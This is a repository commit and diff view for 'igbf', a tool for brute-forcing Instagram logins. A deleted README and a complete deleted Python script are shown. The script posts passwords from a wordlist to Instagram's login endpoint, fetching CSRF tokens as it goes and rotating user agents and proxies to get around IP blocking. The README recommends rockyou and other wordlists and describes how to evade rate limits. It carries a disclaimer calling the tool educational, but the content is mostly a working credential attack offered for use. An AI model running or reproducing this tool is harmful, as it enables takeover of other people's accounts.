16 Commits
Author SHA1 Message Date
Sairaj Jawalikar f07be62aa7 Merge pull request #8 from hashtagtodo/main
Minors errors Fixed
2025-03-18 17:52:30 +05:30
hashtagtodo f196f793ff Errors that prevented proper execution have been fixed, and error handling, especially regarding the acquisition of the CSRF token, has been added. 2024-08-02 22:29:51 -07:00
S41R4J 752db8a4dc Update README.md 2023-06-23 00:09:44 +05:30
S41R4J 293ddb915f Update igbf.py 2023-06-22 23:59:07 +05:30
S41R4J 360398032a Update igbf.py 2023-06-22 22:58:59 +05:30
S41R4J 7f84b3054f Update README.md 2023-06-22 22:11:04 +05:30
S41R4J 3875b0ecf4 Update README.md 2023-06-17 15:50:07 +05:30
S41R4J d8e7f8d643 Update README.md 2023-06-17 15:48:05 +05:30
S41R4J 711d24dced Update README.md 2023-06-17 15:47:34 +05:30
S41R4J bd04b74d72 Update README.md 2023-06-17 15:42:43 +05:30
S41R4J 77c9a93c51 Update igbf.py 2023-06-17 15:20:52 +05:30
S41R4J 050cc8d5e5 Update igbf.py 2023-06-15 18:36:16 +05:30
S41R4J 19fb6c21ee Update README.md 2023-05-16 21:32:37 +05:30
S41R4J da512410a4 Update README.md (v1.3) 2023-05-16 21:29:13 +05:30
S41R4J 4d4f9dba48 Delete .archives/v1.x/v1.1 directory 2023-05-16 21:14:56 +05:30
S41R4J 8516232a56 Update igbf.py v1.3 2023-05-16 21:14:16 +05:30
4 changed files with 631 additions and 616 deletions

No files matched your search

-75
View File
@@ -1,75 +0,0 @@
<h1 align=center> [ igbf ]: Instagram Brute Force (login) </h1>
<h3 align=center> Brute Force Instargam accounts w/ dictionary attack and get the login password! </h3>
![igbf_demo_clear](https://user-images.githubusercontent.com/65067289/235207665-62c45b02-223f-4bb3-8304-d8736d8b36ea.png)
<br><br>
## Disclaimer :warning:
- [ igbf ]: is a __proof-of-concept__ & build for __educational purpose__
- You should have __explict__ permission for testing _account security_ from the _owner_ (remember _“With great power comes great responsibility”_)
- [dev](https://github.com/s41r4j) is not responsible for any illegal use (it is end user's responsibility)
<br>
## Usage :placard:
- ___Installation___
Just clone and start using, no need to install any requirements (but internet connection is essential)
`git clone https://github.com/s41r4j/igbf` (`cd igbf`)
<br>
- ___Help Menu___
`python3 igbf.py` / `python3 igbf.py -h`
```
usage: igbf.py [-h] [-u USERNAME] [-w WORDLIST PATH] [-t TIMEOUT] [-g [PATH_TO_SAVE_PROXY_LIST]] [-p [PATH_TO_PROXY_LIST]]
(s41r4j:igbf)> Instagram Brute Force
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
instagram username
-w WORDLIST PATH, --wordlist WORDLIST PATH
password wordlist
-t TIMEOUT, --timeout TIMEOUT
timeout between each request (default: 2)
-g [PATH_TO_SAVE_PROXY_LIST], --generate-proxy-list [PATH_TO_SAVE_PROXY_LIST]
genereate proxy list (give full path, ending with '/' or '\')
-p [PATH_TO_PROXY_LIST], --proxy [PATH_TO_PROXY_LIST]
use proxy list (give full path, ending with "/" or "\")
```
<br>
- ___Example___
`python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST`
<br>
### Wordlists :page_with_curl:
Those who are using hacking linux machine (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
Download links (password wordlists):
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
- [danielmiessler/__SecLists__/Passwords/Common-Creden](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
Find more @ [Kaggle](https://www.kaggle.com/search?q=Common+Password+List) (also [this](https://www.kaggle.com/search?q=Password+List))
<br>
### Note :bookmark_tabs:
- It only supports single username (currently), so feel free to add features (do PR) & contribute
- I tried to integrate proxies for every request, but currently it's not working (-g gives non working proxies)
- __Language__: Python3, __OS__: Win, Mac, Unix/Linux (also Termux)
- If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues)
-299
View File
@@ -1,299 +0,0 @@
# igbf: Instagram Brute Force
# description: A tool to perform brute force attack on Instagram
# dev: @s41r4j
# version: 1.1
import requests
import sys
import argparse
import datetime
import json
import random
import time
import socket
import os
def get_user_agent():
user_agent_list = '''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2
Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2
Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2
Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2
Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9
Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6
Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5
Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5'''
# get random line from user agent list
return random.choice(user_agent_list.splitlines())
def get_csrf_token():
session = requests.Session()
header = {
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Content-Length': '0',
'Host': 'www.instagram.com',
'Origin': 'https://www.instagram.com',
'Referer': 'https://www.instagram.com/',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0',
'X-Instagram-AJAX': '1',
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'sessionid': '',
'mid': '',
'ig_pr': '1',
'ig_vw': '1920',
'csrftoken': '',
's_network': '',
'ds_user_id': ''
}
session.headers.update(header)
session.cookies.update(cookies)
content = session.get('https://www.instagram.com/')
return content.cookies['csrftoken']
def get_public_ip():
try:
r = requests.get('https://api.ipify.org', timeout=10).text
except:
try:
r = requests.get('https://ip.seeip.org', timeout=10).text
except:
try:
r = requests.get('https://api.myip.com', timeout=10).json()['ip']
except:
try:
r = requests.get('https://ipinfo.io/ip', timeout=10).text
except:
r = 'Failed to fetch public ip'
if r == '': r = 'Failed to fetch public ip'
return r
def printit(text, center='', line_up=False, line_down=False, space_up=False, space_down=False, coledt=[0, 0, 0], normaltxt_start='', normaltxt_end=''):
# get terminal width
width = os.get_terminal_size().columns
# printing text
if space_up: print()
if line_up: print('⸺'*width)
print(normaltxt_start, end='')
if len(text) < width:
new_width = int((width - len(text))/2)
print(center*new_width, end='')
print(f'\33[{coledt[0]};{coledt[1]};{coledt[2]}m'+text+'\033[0m', end='')
print(center*new_width)
# print(normaltxt_end, end='')
if line_down: print('⸺'*width)
if space_down: print()
def main():
# Taking command line arguments using argparse
parser = argparse.ArgumentParser(description='(s41r4j:igbf)> Instagram Brute Force')
parser.add_argument('-u', '--username', help='instagram username')
parser.add_argument('-w', '--wordlist', help='password wordlist', metavar='WORDLIST PATH')
parser.add_argument('-t', '--timeout', help='timeout between each request (default: 2)', default=2, type=int)
parser.add_argument('-g', '--generate-proxy-list', help="genereate proxy list (give full path, ending with '/' or '\\')", metavar='PATH_TO_SAVE_PROXY_LIST', nargs='?')
parser.add_argument('-p', '--proxy', help='use proxy list (give full path, ending with "/" or "\\")', metavar='PATH_TO_PROXY_LIST', nargs='?')
args = parser.parse_args()
# Assigning the arguments to variables
username = args.username
wordlist = args.wordlist
timeout = args.timeout
gen_proxy_list = args.generate_proxy_list
proxy = args.proxy
# Logo
printit('[ Instagram Brute Force (igbf:v1.1) ]', center=' ', line_up=True, line_down=True, coledt=[7, 49, 97])
printit('[ dev: s41r4j; https://github.com/s41r4j/igbf ]', center=' ', coledt=[1, 49, 91], line_down=True)
# Generating proxy list
if gen_proxy_list is not None:
try:
url = 'https://www.proxy-list.download/api/v1/get?type=http&anon=elite'
proxies = requests.get(url).text.split('\r\n')
except:
printit('[!] Unable to generate proxy list', coledt=[1, 49, 91])
sys.exit()
path = gen_proxy_list+'igbf_proxy_list.txt'
with open(path, 'w') as f:
for proxy in proxies:
f.write(proxy + '\n')
printit('[+] Generated proxy list at location: '+path, coledt=[1, 49, 92], line_down=True)
sys.exit()
# Checking if the arguments have been passed
if username is None or wordlist is None:
parser.print_help()
sys.exit()
# Displaying the information
printit(get_public_ip(), coledt=[1, 49, 96], normaltxt_start='[+] Public IP: ')
printit("dictionary attack", line_down=True, coledt=[1, 49, 96], normaltxt_start='[+] Attack Type: ')
printit(str(username), coledt=[1, 49, 96], normaltxt_start='[+] Username: ')
printit(str(wordlist), coledt=[1, 49, 96], normaltxt_start='[+] Wordlist: ')
printit(str(timeout), coledt=[1, 49, 96], normaltxt_start='[+] Timeout: ')
printit((str(proxy) if proxy else "False"), coledt=[1, 49, 96], normaltxt_start='[+] Proxy: ', line_down=True, space_down=True)
# Opening the wordlist
try:
wordlist = open(wordlist, 'r')
except FileNotFoundError:
printit('[!] Wordlist not found', coledt=[4, 49, 91])
sys.exit()
# Opening the proxy list
if proxy is not None:
try:
proxy = open(proxy, 'r')
except FileNotFoundError:
printit('[!] Proxy list not found', coledt=[4, 49, 91])
while True:
choice = input('[?] Do you want to continue without proxy? (y/n): ')
if choice.lower() == 'y':
print()
break
elif choice.lower() == 'n':
sys.exit()
else:
continue
# Starting the brute force
printit('[#] Starting the brute force...\n', coledt=[1, 49, 91])
for password in wordlist:
# Adding a random delay to avoid getting blocked
time.sleep(timeout)
# Request data
login_url = 'https://www.instagram.com/accounts/login/ajax/'
login_time = int(datetime.datetime.now().timestamp())
password = password.strip()
user_agent = get_user_agent()
csrf_token = get_csrf_token()
payload = {
'username': username,
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{login_time}:{password}',
'queryParams': {},
'optIntoOneTap': 'false'
}
login_header = {
"User-Agent": user_agent,
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.instagram.com/accounts/login/",
"x-csrftoken": csrf_token,
}
if proxy is not None:
# get radom proxy from proxy list
ran_proxy = random.choice(list(proxy))
proxies = {
'http': 'http://'+ran_proxy.strip(),
'https': 'https://'+ran_proxy.strip()
}
print(ran_proxy, proxies)
else:
proxies = None
# Sending the request
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=proxies)
if login_response.status_code == 403 or login_response.status_code == "403":
printit("\n["+str(login_response.status_code)+"]: Temporary IP BLOCKED, wait for few minutes (temp-ip-block)", coledt=[4, 49, 91])
printit("["+str(login_response.status_code)+"]: You can also use VPN/change active vpn server to continue (temp-ip-block)", coledt=[4, 49, 91])
printit("["+str(login_response.status_code)+"]: Check if the USERNAME entered is correct (user-not-found)", coledt=[4, 49, 91])
sys.exit()
json_data = json.loads(login_response.text)
try:
if json_data["user"] == False:
print(username, normaltxt_start="\n["+str(login_response.status_code)+"] Username not found:", coledt=[4, 49, 91])
sys.exit()
except SystemExit:
sys.exit()
except:
pass
# Checking if the password is correct
try:
if json_data["message"] == "checkpoint_required":
printit(password, coledt=[7, 49, 97], normaltxt_start="\n["+str(login_response.status_code)+"] Login successful (pwd)> ")
print("\n[+] User-agent used: "+user_agent)
print("[+] CSRF token: ", csrf_token)
print("\n[+] Checkpoint required")
print("[+] Checkpoint url: https://www.instagram.com"+json_data["checkpoint_url"])
sys.exit()
except SystemExit:
sys.exit()
except KeyError:
try:
if json_data["authenticated"] == True:
printit(password, coledt=[7, 49, 97], normaltxt_start="\n["+str(login_response.status_code)+"] Login successful (pwd)> ")
sys.exit()
else:
printit("["+str(login_response.status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93])
except SystemExit:
sys.exit()
except:
printit("["+str(login_response.status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93])
except:
printit("["+str(login_response.status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93])
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('\n[!] Exiting...')
sys.exit()
except requests.exceptions.ConnectionError:
print("\n[!] Internet connection is required!\n[!] Exiting...")
sys.exit()
+22 -9
View File
@@ -50,6 +50,12 @@ cd igbf
<br>
- ___Update___
- Goto the `igbf` directory and type `git pull` to update to latest version
- Else download latest version of script from [releases](https://github.com/s41r4j/igbf/releases)
<br>
- ___Help Menu___
```bash
@@ -57,7 +63,7 @@ python3 igbf.py
```
``` bash
usage: igbf.py [-h] [-u USERNAME] [-w WORDLIST PATH] [-t TIMEOUT] [-v] [-p] [-l PROXY_LIMIT]
usage: igbf.py [-h] [-u USERNAME] [-w WORDLIST PATH] [-t TIMEOUT] [-v] [-p] [-l PROXY_LIMIT] [-f PROXY FILE PATH]
(s41r4j:igbf)> Instagram Brute Forcer
@@ -70,9 +76,12 @@ optional arguments:
-t TIMEOUT, --timeout TIMEOUT
timeout between each request in secs (default: 2)
-v, --verbose verbose mode (displays failed logins and more)
-p, --proxy use ip rotating proxy (additinal library required)
-p, --proxy built-in ip rotating proxy (additinal library required)
-l PROXY_LIMIT, --proxy-limit PROXY_LIMIT
limit the number of proxies to use (default: 300; max: 300; min: 1)
-f PROXY FILE PATH, --proxy-file PROXY FILE PATH
use custom proxy file (`-p` & `-l` disabled)
```
@@ -90,23 +99,27 @@ python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST -v
Those who are using linux/hacking machines (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
Download links for password wordlists:
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
- [danielmiessler/__SecLists__/Passwords/Common-Creden](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
- Download links for password wordlists (more @ [Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & [Github](https://github.com/search?q=passwords%20wordlists&type=repositories)):
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
- [danielmiessler/__SecLists__/Passwords/Common-Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
- Generate custom wordlist ([article](https://null-byte.wonderhowto.com/how-to/create-custom-wordlists-for-password-cracking-using-mentalist-0183992/)):
- [Common User Passwords Profiler (CUPP)](https://github.com/Mebus/cupp)
- [Mentalist (graphical tool)](https://github.com/sc0tfree/mentalist)
Find more @[Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & @[Github](https://github.com/search?q=passwords%20wordlists&type=repositories)
<br>
### Note :bookmark_tabs:
- It only supports single username (currently) & a wordlist file
- I tried to integrate proxy ip rotating for every request, but there are some issues at the moment
- It only supports single username (currently
- If you're not using proxy, instagram blocks/bans your ip (temporarily, dw) after 7-8 attempts
- Now proxies work fine, but the only problem it is time consuming and slow
- Supports: Windows, Mac, Unix/Linux (Termux)
- If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues)
- I'm open to all contributions, clone and do a pull request
- All contributions are welcomed, do a pull request
+609 -233
View File
File diff suppressed because it is too large. Load diff